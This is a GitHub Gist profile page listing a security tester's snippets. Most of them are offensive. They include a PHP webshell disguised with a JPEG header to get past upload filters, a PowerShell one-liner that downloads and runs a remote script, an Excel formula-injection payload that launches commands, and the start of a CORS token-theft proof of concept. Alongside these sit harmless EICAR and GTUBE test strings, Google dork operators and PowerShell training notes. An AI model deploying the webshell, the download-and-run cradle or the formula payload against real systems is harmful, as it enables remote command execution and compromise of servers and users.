Skip to content

Instantly share code, notes, and snippets.

View SleepyLctl's full-sized avatar

Petr Pospíšil SleepyLctl

View GitHub Profile
@SleepyLctl
SleepyLctl / TestingMalware.bat
Created March 21, 2018 15:04
Test File - Wannabe Malware
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
@SleepyLctl
SleepyLctl / links.txt
Last active March 22, 2018 11:28
Links - Malware, IR, Web Content
@SleepyLctl
SleepyLctl / bypass_webshell.php
Created March 28, 2018 10:46
PHP Webshell with JPEG metadata
ÿØÿà
<form action="" method="get">
Command: <input type="text" name="cmd" /><input type="submit" value="Exec" />
</form>
Output:<br />
<pre><?php passthru($_REQUEST['cmd'], $result); ?></pre>
@SleepyLctl
SleepyLctl / dorks.txt
Last active April 4, 2018 11:25
Google Dorks - gbhacker
intitle:
inurl:
intext:
define:
site:
phonebook:
maps:
book:
info:
movie:
@SleepyLctl
SleepyLctl / Decompiling
Last active April 9, 2018 10:06
Android Testing
APK to java
-- dex2jar + jd-gui
-- jadx
-- apktool?
https://stackoverflow.com/questions/1249973/decompiling-dex-into-java-sourcecode
########################################
Execute PS script remotely
########################################
iex ((new-object net.webclient).downloadstring('https://url/install.ps1'))
@SleepyLctl
SleepyLctl / Excel Injections
Last active July 31, 2018 07:00
Injections
Excel Formula Injection
@SUM(1+1)*cmd|' /C calc'!A0
@SleepyLctl
SleepyLctl / CORS_poc.html
Last active August 14, 2018 06:07
CORS Token PoC
<!DOCTYPE html>
<html>
<head>
<script>
function hack()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
@SleepyLctl
SleepyLctl / lol.ps1
Created July 11, 2018 09:32
PowerShell Basics - Century
century.underthewire.tech:6009
1. Version of Powershell Build = 10.0.14409.1012
$PSVersionTable
2. Download a file = invoke-webrequest80
Invoke-WebRequest
3. Number of files on the desktop.
Get-ChildItem ..\desktop\ | Measure-Object
@SleepyLctl
SleepyLctl / test.txt
Created July 16, 2018 05:56
Test Strings
EICAR Test String
(anti-virus) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
When an anti-virus program scans this file, it reports that it finds the EICAR-STANDARD-AV-TEST-FILE virus.
GTUBE Test String
(spam) XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X
For further information, see: http://spamassassin.apache.org/gtube/.